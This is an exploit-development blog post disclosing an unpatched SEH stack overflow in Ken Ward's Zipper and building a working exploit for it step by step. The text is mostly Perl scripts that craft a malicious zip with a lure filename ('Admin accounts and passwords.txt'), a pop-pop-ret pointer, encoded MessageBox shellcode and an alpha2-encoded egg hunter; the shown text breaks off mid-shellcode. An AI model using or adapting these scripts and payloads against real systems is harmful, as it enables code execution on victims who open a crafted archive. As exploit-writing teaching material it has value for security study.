Pvefindaddr | Abysssec Security Research

18 Mar

Ken Ward Zipper Stack BOF 0day – a not so typical SEH exploit

Posted by corelanc0d3r in Exploits / BUG Decryption | Tags :align, ascii, conditional, corelan, corelanc0d3r, custom decoder, egg hunter, exploit, jump, ken ward, Peter Van Eeckhoutte, pvefindaddr, seh, stack, zip, zip4.exe | 1 Comment

About 2 weeks ago, I published a somewhat detailed explanation about an exploit I wrote for a – what some people would call “lame” - bug which I discovered in quickzip. In case you missed these articles, the articles were posted on the Offensive Security Blog : Part 1 and Part 2.

Ok, I agree, there are a lot more impressive bugs than this one, but the process of writing a working exploit was interesting to say the least. I had to deal with all kinds of hurdles, but by blending a little bit of creativity and persistence, I managed to pull it off.

Interestingly enough, I found a similar “lame” bug in another unzipper. The author decided to ignore my emails, so today I will disclose the details and explain how to write the exploit for this vulnerability.

If you’ve read the articles I wrote on the Offensive Security Blog, then you will discover that this particular exploit is quite similar to the one for quickzip… but this time we will even have to push things a little bit further.

I have received quite some feedback about the writing style I applied to those 2 articles. Apparently people like the combination of a detailed explanation, with the concept of making the document look like a some kind of exercise at the same time.

Based on that feedback, I decided to apply the same concept on this post. This translates into the fact that I have put a marker on some “strategic” places in this article, indicating that you should stop reading and that you should think about the current issue/situation/… and try to figure out for yourself how you would approach a given problem.

This marker will look like this :

Fasten your seatbelts, let’s go.

Environment setup & triggering the bug

I used the following environment and tools to build the exploit :

XP SP3 English Professional, fully patched, running inside VirtualBox
The vulnerable application : Ken Ward Zipper
Perl (I used ActiveState Perl 5.8.9)
Immunity Debugger 1.73, with pvefindaddr plugin
Metasploit 3 with custom MessageBox payload module (get a copy here – almost at bottom of that post)
alpha2 encoder

Note : In case you already have pvefindaddr installed : you can verify that you have the latest version by running

!pvefindaddr update

Pretty much identicaly to the bug in quickzip, the bug in Ken Ward’s zipper gets triggered by opening a specially crafted zip file from within the unzip utility, and double-clicking on the file inside the zip (in an attempt to extract and open it).

To make things more attractive, I will try to craft the exploit in such a way, to make the filename inside the zip file appear as if it’s a valid and perhaps interesting text file.

The basic structure of the malicious zip file looks like this :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

my $payload = "A" x 4064;
$payload = $payload.".txt";
my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

This script will create a zip file that will crash our application.

Usually, when an application crashes, one of the first things any exploit developer is looking for is to find out whether registers were overwritten, if EIP or SEH records are overwritten, and at what offsets these overwrites occurred.

In order to make that process easier, we won’t run the script as it is, but we will create a cyclic “Metasploit” pattern first (4064 characters) and put that in $payload. You will understand why in just a few moments.

Open Immunity Debugger. In the command bar at the bottom of the debugger, type in the following command :

!pvefindaddr pattern_create 4064

This will generate a cyclic/unique pattern, write it to the Immunity Debugger log window, and also to a file called “mspattern.txt”, which can be found in the Immunity Debugger application folder. Open this file, copy the pattern, and paste in into the script (effectively replacing (“A” x 4064) with the unique pattern).

Create the zip file :

C:\sploits\kenward>perl boom.pl
[+] Preparing payload
[+] Removing old zip file
[+] Writing payload to file
[+] Wrote 8234 bytes to file corelan_kenward.zip
[+] Payload length : 4068

C:\sploits\kenward>

Note : Ken Ward zipper will remember the last zip file that have opened. If this file still exists, it will open it automatically. So if you want to be sure to start from a clean situation, remove all zip files prior to opening zip4.exe, and then generate the zip file again.

Open Ken Ward zipper. When you see the main application screen, open Immunity Debugger and attach it to zip4.exe

The application will be paused at ntdll.DbgBreakPoint. Simply press F9 to continue to run the application. Go back to the application. Use the “Open an existing file to unzip” button and select the corelan_kenward.zip file

When the file is loaded in the application, you should see something like this :

The filename column clearly points to the first characters of a cyclic pattern.

Trigger the bug : double-click on the Filename.

Immunity will now take focus again, because it catched an exception.

 Address=00408EB1
 Message=[11:27:20] Access violation when writing to [00140000]

That’s clearly a stack overflow. We attempted to write a dword ptr (at [ESI]) beyond the end of the current stack frame [EDI], which points at 0x0013FFFE before the write instruction is executed. This caused an access violation.

Evaluating the crash

Making the application crash was not that difficult.

We decided to use a long cyclic pattern string to produce the crash, which means that we can save some time and (with Immunity still attached to the crashed application) use the pvefindaddr plugin to do some research about the crash. (This is why I asked you to use a unique pattern instead of just A’s – remember ?)

In Immunity, simply run the following command :

!pvefindaddr suggest

This will evaluate registers and SEH chain, and will look for references to a cyclic pattern. If the plugin found references in a register, it will calculate offsets. Wait a few seconds until the output is generated and look at the Immunity Debugger Log window for the results :

The 2 most important things we see are

a SEH record is overwritten
the offset to next SEH is 1022 bytes (offset might be slightly different on your machine !)

That means that it should be fairly easy to get code execution, as long as we can bypass any protection mechanisms in place (safeseh, etc)

Confirm offsets

Let’s change the script to confirm that the offsets are correct. At the same time, we will also change the payload a bit, making the filename look like an interesting file at the same time. After all, we control the filename inside the zip file, so perhaps we can do something with it.

Let’s have a look at this script :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = "A" x ($offset - length($filename));
my $nseh="BBBB";
my $seh="CCCC";
my $payload = $filename.$junk.$nseh.$seh;
my $rest = "D" x ($size-length($payload));

$payload=$payload.$rest.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

As said before, I will try to make the filename inside the zip file look like something attractive (hence “Admin accounts and passwords.txt”) , and I will some spaces after this filename (to make it look more genuine). I will fill up the rest of the buffer before nSEH (up to 1022 bytes) with A’s.

At nseh we will put 42424242 and at SEH we will write 43434343. The remaining space of the 4064 bytes will be filled with D’s. (44444444).

Create the zip file. Open zip4.exe, and attach Immunity to the application. Then open the zip file :

We clearly see our fake filename. Double click the “Admin accounts and passwords.txt” filename. Immunity should catch the exception and the SEH chain should look like this :

On the stack, we can see our payload, we can see that it has overwritten a SE record, and we also see that the D’s are available on the stack after the SE record.

SEH : pop pop ret, jump, exec => owned ?

In normal SEH based exploits, the goal is to find a pointer to an address that would allow us to jump to the 4 bytes at next SEH and execute those bytes. The most common technique to do this, is using a pointer to pop pop ret.

When pop pop ret returns, in most cases the 4 bytes at nseh are used to jump to payload (either before or after the SEH record) in order to get code execution at that location. So in normal cases, it takes only a few minutes to pull this together and build a working exploit.

Is this logic correct ? Will that lead to code execution ? And where will you get the pointer to p/p/r from ?

The p/p/r pointer

Because of exception handling abuse protection mechanisms (Software DEP/Safeseh etc), we have to find an address that will allow us to execute a pop pop ret, effectively bypassing thesese protection mechanisms. The most common way to bypass safeseh, is by using a pointer to p/p/r from a non-safeseh compiled module (or the executable itself, if it’s not safeseh protected either).

If no usable address can be found, you can also try to use a p/p/r from one of the OS modules that are loaded together with the application. The disadvantage of this approach is that the exploit would probably only work the operating system/service pack that was used to build the code on.

Anyways, let’s try to make it universal/generic.

The pvefindaddr plugin provides for an easy way to list all p/p/r pointers, by querying all modules that are loaded when the application crashed, and that are not safeseh protected.

Simply run this command, with Immunity attached to the application, at crash time :

!pvefindaddr p

Now leave the debugger alone and let it do the search. This can take up to a few minutes (after all, it will search for all possible pop pop ret combinations, in all loaded modules !), and it might take all CPU… so just leave it alone for a while. All output will be written to the Immunity Log window, and to a file called ppr.txt (generated inside the Immunity Debugger application folder)

When the search process has finished, Immunity Debugger will become responsive again and display the number of found addresses at the end of the Log (and in the status bar)

2397 addresses, plenty of choice.

The non-OS, non-safeseh protected modules are :

=> only zip4.exe (the other ones are from the Windows OS, and those may be different across other versions of the Windows OS/Service Pack). So let’s focus on the executable itself. As you can see in the output above, the executable is loaded into memory at base address 0×00400000. This address starts with a null byte, so we have to take that into consideration.

Open the ppr.txt file, take the first available pointer from zip4.exe, and replace the 4 C’s at SE Handler with this address.

(so basically, replace my $seh=”CCCC”; with my $seh = pack(‘V’,0x00402AFB); create a new zip file and trigger the crash again)

When Immunity catches the exception, the SEH chain looks like this :

We see 2 things :

The address 0x00402AFB got replaced with 0x00402A76
The access violation occurs in a different instruction. This is caused because of the null byte in the p/p/r address (which acts as a string terminator). This is fine, but the fact that the address changed means that we have to deal with a character set limitation.

So this one will take a little bit longer than just a few minutes.

How would you approach this character set limitation ? What are the consequences of this limitation ? Is there only an impact on the p/p/r pointer ? Or also on other parts of the payload ?

Character set limitation

This is not new. When I discussed the exploit building process for the quickzip vulnerability (on the Offensive Security Blog), I noticed the same thing…

The result of that is that we can only use payload/addresses consisting of bytes that would be valid characters in a filename. (So if we limit our search to bytes that are either numbers or characters (lowercase/uppercase) from the alphabet, we should be fine. Further more, we’ll probably need to deal with this limitation for the entire payload, so we’ll have to keep this in mind.

Open ppr.txt again. In the output, you can see if an address would be compatible with this kind of limitation… The pvefindaddr plugin puts a marker next to addresses, indicating if the address is ascii printable and optionally if it only contains numbers/alphabet characters).

Addresses that contain ascii printable bytes only, will have a marker “[ Ascii printable ]“. If the address only contains nums&alphabet, it will also state “[Num&Alphabet Chars only !]“. That means that we can easily search for matching addresses using the following DOS command :

C:\Program Files\Immunity Inc\Immunity Debugger>type ppr.txt | findstr "Ascii" | findstr "Num"

C:\Program Files\Immunity Inc\Immunity Debugger>

0 results. But we are being too strict really. The [ Ascii printable ] marker will not show any addresses that start with a null byte. (You can, of course, change the pvefindaddr plugin). On top of that, some non-alphabet characters will also work fine (spaces, etc).

So perhaps we should just manually look at the ascii-printable addresses in the text file, and then locate one that will do the job. (www.asciitable.com)

Let’s try 0x00415A68

0×41 = “A”
0x5A = “Z”
0×68 = “h”

Put this address at $seh and try again

That looks a lot better. Set a breakpoint on this address (bp 00415A68) and press Shift F9 to pass the exception to the application. The event handler should kick in and jump to 0x00415A68

Use F7 to step through the instructions (basically execute one instruction at a time), until after the RETN instruction is executed. The RET should make you land back at the 4 bytes at nseh (BBBB) :

So far so good.

nseh jumpcode, but where to ?

We can use the 4 bytes at nseh to make a jump.

Where should we make the jump to ? As you can see on the stack, the D’s that were placed in the payload buffer after overwriting the SEH structure are not visible anymore. It looks like the null byte in the ppr address terminated the string, and now the D’s are “gone”.

This means that, at nseh, you can only jump back. Jumping forward does not make any sense, because we no longer control the bytes on the stack after the SEH record was overwritten.

But we do control most part of the stack before the SEH record was overwritten.

In theory, we should have like 1022 bytes (- the bytes needed for the filename and spaces at the beginning of the payload). Whether these 1022 ( minus some ) bytes can be fully used or not, is not clear at this point.

We can, for example, see on the stack that in the buffer with A’s (which sit between the fake filename (start of the string), and the location in the string used to overwrite SEH), some nulls have been inserted.

If we continue to scroll up in the stack view, we get closer to the start of the buffer, and eventually we can find the fake filename, spaces and the start of the A’s (at 0013F58E)

The current location, when the pop pop ret is executed, is 0013F908. So that means that we have about 890 bytes at our disposal.

Since we know that the buffer is subject to a character set limitation, we will most likely need to encode all instructions/shellcode before we can execute them. Encoding will increase the total shellcode size, and the code that we’ll probably to align registers and stack may need to be encoded too. So we might end up with some sizing issues here. 890 bytes is not bad, but it’s not huge either.

Anyways, we will start by jumping back at nseh (because that’s the only option we have at this point). Because of the character set limitation, we cannot use the 0xeb opcode for this.

0xEB won’t work. So what are our options to make a jump back ?

Answer : we still can use conditional jumps to jump back. Look at the state of the flags when you land back from the pop pop ret instructions :

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)

Based on these flags, we can use JE (0×74) to make a jump back. This one will make a short jump if the zero flag is 1. This short jump instruction takes a single byte offset. Because of the character set limitation, the amount of bytes we are able to jump back will be limited to a small range.

In the quickzip writeup, we learned that 0×74 with offset 0xF7 would translate/get converted into 0×74 0×98, making a jump back of 102 bytes.

Let’s fnd out if this works :

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = "A" x ($offset - length($filename));
my $nseh="\x74\xf7\x90\x90";   #f7 becomes 98 -> jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$junk.$nseh.$seh;
my $rest = "D" x ($size-length($payload));

$payload=$payload.$rest.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

Right after the pop pop ret is executed, we land at the backward jump at nseh, and the CPU view in Immunity looks like this :

Backward jump works, but what can we do with it ?

Before deciding where to put our shellcode and changing jump back values if needed, we need to figure what we want to do.

We have about 890 bytes, more or less. How do we want to use those bytes ? Is that the location we have to put our shellcode at ?

Well, let’s not just believe what we see and don’t see. Let’s find out and get the facts before taking any decisions. As Oscar Wilde once said : “When you assume, you make an ass out of u and me”.

The null byte at SEH made the remaining part of the buffer string “disappear”, but that does not mean that this string is not availabe in memory anywhere. And if it is available in memory, then we may be able to use the 890 bytes to jump to the real shellcode in memory… and that changes the situation.

In order to find that out, we will write some real shellcode in the buffer (after the SEH overwrite), and then we will use pvefindaddr to search for it.

Let’s create some shellcode, and encode the shellcode to avoid that it would break the zip file structure.

./msfpayload windows/messagebox TITLE="CORELAN"
     TEXT="corelanc0d3r says hi to the Abysssec.com blog visitors" R
 | ./msfencode -e x86/alpha_mixed -t perl

This will produce 690 bytes of shellcode

[*] x86/alpha_mixed succeeded with size 690 (iteration=1)

We will put the shellcode at the end of the payload, and we will also write it to a file at c:\tmp\shellcode.bin. The latter is required for pvefindaddr later on

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = "A" x ($offset - length($filename));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$junk.$nseh.$seh;

my $shellcode =
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
"\x49\x6c\x4c\x6c\x4f\x74\x4f\x30\x51\x64\x47\x7a\x4a\x61" .
"\x4a\x6f\x46\x6d\x46\x61\x4b\x77\x4b\x59\x49\x61\x49\x6f" .
"\x49\x6f\x49\x6f\x47\x4b\x51\x6c\x45\x74\x44\x68\x42\x55" .
"\x49\x4e\x4e\x6b\x42\x7a\x47\x54\x46\x61\x4a\x4b\x43\x56" .
"\x4e\x6b\x44\x4c\x50\x4b\x4c\x4b\x43\x6a\x45\x4c\x43\x31" .
"\x4a\x4b\x4e\x6b\x45\x54\x4e\x6b\x45\x51\x49\x78\x4b\x39" .
"\x43\x74\x45\x74\x45\x4c\x50\x61\x4f\x33\x4e\x52\x43\x38" .
"\x47\x59\x4b\x64\x4e\x69\x4a\x45\x4e\x69\x49\x52\x45\x38" .
"\x4e\x6e\x50\x4e\x46\x6e\x4a\x4c\x46\x32\x4d\x38\x4d\x4c" .
"\x4b\x4f\x49\x6f\x4b\x4f\x4d\x59\x51\x55\x44\x44\x4f\x4b" .
"\x51\x6e\x49\x48\x4a\x42\x42\x53\x4f\x77\x47\x6c\x45\x74" .
"\x46\x32\x49\x78\x4c\x4b\x49\x6f\x4b\x4f\x49\x6f\x4b\x39" .
"\x51\x55\x47\x78\x50\x68\x42\x4c\x42\x4c\x51\x30\x49\x6f" .
"\x45\x38\x50\x33\x46\x52\x44\x6e\x51\x74\x43\x58\x51\x65" .
"\x50\x73\x50\x65\x50\x72\x4d\x58\x43\x6c\x44\x64\x47\x7a" .
"\x4c\x49\x4b\x56\x50\x56\x4b\x4f\x51\x45\x47\x74\x4d\x59" .
"\x4f\x32\x42\x70\x4f\x4b\x4d\x78\x4f\x52\x50\x4d\x4d\x6c" .
"\x4c\x47\x47\x6c\x46\x44\x50\x52\x4a\x48\x51\x4e\x49\x6f" .
"\x4b\x4f\x49\x6f\x42\x48\x50\x4c\x42\x61\x42\x6e\x50\x58" .
"\x42\x48\x42\x63\x50\x4f\x42\x72\x51\x55\x45\x61\x49\x4b" .
"\x4e\x68\x51\x4c\x47\x54\x45\x57\x4b\x39\x4d\x33\x42\x48" .
"\x44\x32\x44\x33\x42\x78\x51\x30\x42\x48\x50\x73\x43\x59" .
"\x44\x34\x50\x6f\x43\x58\x43\x57\x51\x30\x44\x36\x51\x79" .
"\x50\x68\x51\x30\x50\x62\x50\x6c\x42\x4f\x42\x48\x46\x4e" .
"\x45\x33\x42\x4f\x50\x6d\x43\x58\x51\x63\x43\x43\x45\x35" .
"\x43\x53\x50\x68\x43\x71\x50\x62\x43\x49\x43\x43\x42\x48" .
"\x51\x64\x43\x58\x43\x55\x47\x50\x42\x48\x45\x70\x51\x64" .
"\x50\x6f\x51\x30\x45\x38\x50\x73\x45\x70\x51\x78\x50\x69" .
"\x51\x78\x47\x50\x43\x43\x45\x31\x50\x79\x51\x78\x46\x50" .
"\x45\x34\x47\x43\x42\x52\x45\x38\x42\x4c\x50\x61\x42\x4e" .
"\x51\x73\x50\x68\x50\x63\x42\x4f\x50\x72\x51\x75\x45\x61" .
"\x4a\x69\x4e\x68\x42\x6c\x45\x74\x46\x56\x4b\x39\x4b\x51" .
"\x50\x31\x49\x42\x50\x52\x50\x53\x46\x31\x46\x32\x49\x6f" .
"\x4a\x70\x44\x71\x4b\x70\x46\x30\x49\x6f\x42\x75\x43\x38" .
"\x46\x6a\x41\x41";

my $rest = "D" x ($size-length($payload.$shellcode));

$payload=$payload.$rest.$shellcode.".txt";

my $evilzip = $ldf_header.$payload.
              $cdf_header.$payload.
			  $eofcdf_header;

print "[+] Removing old zip file\n";
system("del $sploitfile");
print "[+] Writing payload to file\n";
open(FILE,">$sploitfile");
print FILE $evilzip;
close(FILE);
print "[+] Wrote ".length($evilzip)." bytes to file $sploitfile\n";
print "[+] Payload length : " . length($payload)."\n";

print "[+] Writing shellcode to file\n";
open(FILE,">c:\\tmp\\shellcode.bin");
print FILE $shellcode;
close(FILE);
print "[+] Wrote " . length($shellcode)." bytes to file\n";

Create the new zip file, then trigger the overflow again. Allow pop pop ret to kick in, and step through until you land back at nseh. (Which still contains the jump back code). Don’t execute the jump back code yet, but instead of that, run the following command :

!pvefindaddr compare c:\tmp\shellcode.bin

That’s great news. Our shellcode was found in memory and it was not modified. So if we can make a jump to that location, we have a good chance of getting it to execute.

Just keep in mind that the address where the shellcode has been found, will most likely not be static/reliable. So in order to be safe, we’ll have to use an egg hunter.

Back to our initial question : what can and will we do with the jump back code at nseh ?

Answer : we need to write an egg hunter in the first part of the buffer (first part = part before overwriting the SEH record), so we have to use the jump back as starting point to eventually jump to the egg hunter and let it do it’s magic work.

The Egg hunter

Before we can even think about running the egg hunter, we will have to take a couple of steps

we will need to encode the egg hunter (because we will place it in the buffer before overwriting SEH). We will use the alpha2 encoder for this. This encoder will require us to prepare a register (make it point exactly to the first byte of the encoded egg hunter), and we will have to use that register as baseregister when encoding the hunter. I decided to take edx for this purpose.
in order to set a register to the correct value (and jump to it to get the egg hunter to run), we will have to write some instructions. Unfortunately, these instructions are not character set compatible, so we will need to use a custom decoder for this.
This custom decoder will produce the instructions required to set the register (edx) to the correct value, and after the instructions were produced we need to get these instructions to execute. The easiest way to do so is by making esp point to a location directly (or almost) directly below the custom decoder, so when the decoder stops running, the decoded instructions would get executed right away.

Let’s start with encoding the egg hunter and placing it in the buffer. After all, we will need to have its base address so we can write the instructions that are needed to put this baseaddres into edx.

The egg hunter I will use is the one that uses NtAccessCheckAndAuditAlarm :

my $egghunter =
"\x66\x81\xCA\xFF\x0F\x42".
"\x52\x6A\x02\x58\xCD\x2E".
"\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

We can encode it by

writing the egg hunter to a file first
feeding the binary egg hunter to alpha2

Script to write egg hunter to a file :

[email protected]:/pentest/exploits/alpha2# cat writecode.pl
#!/usr/bin/perl
# Little script to write shellcode to file
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800

my $code=
"\x66\x81\xCA\xFF\x0F\x42".
"\x52\x6A\x02\x58\xCD\x2E".
"\x3C\x05\x5A\x74\xEF\xB8".
"\x77\x30\x30\x74". # tag: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7";

print "Writing code to file code.bin...\n";
open(FILE,">code.bin");
print FILE $code;
close(FILE);

[email protected]:/pentest/exploits/alpha2# perl writecode.pl
Writing code to file code.bin...

[email protected]/pentest/exploits/alpha2#

Feed egg hunter to alpha2 :

[email protected]:/pentest/exploits/alpha2# ./alpha2 edx < code.bin
JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIRFMQzjY
otOqRaBCZuRbxxMFNWLUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA

Now put this encoded egg hunter in the payload :

put egg hunter right after the $filename
modify the $junk length to take the egg hunter size into consideration
add the 2 egg hunter tags (“w00tw00t”) in front of the shellcode

# Exploit script for Ken Ward's zipper
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
#---------------------------------------------------
my $sploitfile="corelan_kenward.zip";
my $ldf_header = "\x50\x4B\x03\x04\x14\x00\x00".
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00" .
"\xe4\x0f" .
"\x00\x00\x00";

my $cdf_header = "\x50\x4B\x01\x02\x14\x00\x14".
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\x00\x00\x00".
"\xe4\x0f".
"\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

my $eofcdf_header = "\x50\x4B\x05\x06\x00\x00\x00".
"\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00".
"\x02\x10\x00\x00".
"\x00\x00";

print "[+] Preparing payload\n";

#alpha2 encoded egg hunter - w00t - basereg EDX
my $egghunter="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAA".
"Q2AB2BB0BBABXP8ABuJIRFMQzjYotOqRaBCZuRbxxMFNW".
"LUUrzBTZOh8bWVPVPd4lK9jnOaezJloBUYwIoxgA";

my $size=4064;
my $offset=1022;
my $filename=  "Admin accounts and passwords.txt".(" " x 100);
my $junk = $egghunter . "A" x ($offset - length($filename.$egghunter));
my $nseh="\x74\xf7\x90\x90";   #jump back 102 bytes
my $seh=pack('V',0x00415A68);
my $payload = $filename.$junk.$nseh.$seh;

my $shellcode = "w00tw00t".
"\x89\xe2\xd9\xe8\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" .
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" .
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" .
"\x42\x75\x4a\x49\x4a\x79\x48\x6b\x4f\x6b\x48\x59\x42\x54" .
"\x51\x34\x49\x64\x50\x31\x4a\x72\x4d\x62\x51\x6a\x45\x61" .
"\x4f\x39\x45\x34\x4c\x4b\x51\x61\x44\x70\x4c\x4b\x42\x56" .
"\x44\x4c\x4c\x4b\x50\x76\x47\x6c\x4e\x6b\x51\x56\x44\x48" .
"\x4c\x4b\x43\x4e\x47\x50\x4e\x6b\x45\x66\x46\x58\x50\x4f" .
"\x45\x48\x43\x45\x4c\x33\x51\x49\x43\x31\x4a\x71\x49\x6f" .
"\x49\x71\x51\x70\x4c\x4b\x50\x6c\x47\x54\x44\x64\x4e\x6b" .
"\x51\x55\x45\x6c\x4e\x6b\x43\x64\x43\x35\x44\x38\x45\x51" .
"\x48\x6a\x4e\x6b\x51\x5a\x44\x58\x4e\x6b\x51\x4a\x47\x50" .
"\x47\x71\x48\x6b\x4b\x53\x50\x37\x42\x69\x4c\x4b\x46\x54" .
"\x4e\x6b\x46\x61\x4a\x4e\x44\x71\x49\x6f\x50\x31\x4f\x30" .
